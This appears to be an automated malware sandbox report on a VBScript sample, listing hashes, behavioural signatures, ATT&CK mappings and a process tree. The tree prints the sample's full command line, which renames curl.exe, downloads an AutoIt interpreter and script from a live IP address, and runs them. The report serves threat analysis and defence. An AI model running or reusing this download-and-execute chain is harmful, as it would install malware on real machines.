8fa02af99bf10e756bc61dd214f3470ac85c2eb646c78f8fd2aa7932bc72c6bb

Analysis

max time kernel
118s
max time network
121s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
02/10/2023, 13:33

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General

Target

mkpub_XJZ.vbs
Size

3KB
MD5

f291fb33af097675047e8818db037f7a
SHA1

a3c614d7d71468d9a1018935fdcd5891c24c027c
SHA256

8fa02af99bf10e756bc61dd214f3470ac85c2eb646c78f8fd2aa7932bc72c6bb
SHA512

96c61b9ed56f3ea2545da04be878d46f98e056f37852176ffc02f986e3499a6af47cacb2bbf7a881a7bd117d09a5438f4ad03902f9fccc8f0fc0275f44e6b934

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
2	2724	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	2	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2724 wrote to memory of 3008	2724	WScript.exe	28
PID 2724 wrote to memory of 3008	2724	WScript.exe	28
PID 2724 wrote to memory of 3008	2724	WScript.exe	28

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\mkpub_XJZ.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c mkdir c:\rqdp & cd /d c:\rqdp & copy c:\windows\system32\curl.exe rqdp.exe & rqdp -H "User-Agent: curl" -o Autoit3.exe http://81.19.135.17:2351 & rqdp -o ccwpjf.au3 http://81.19.135.17:2351/msirqdppgyg & Autoit3.exe ccwpjf.au3
  2⤵
  PID:3008

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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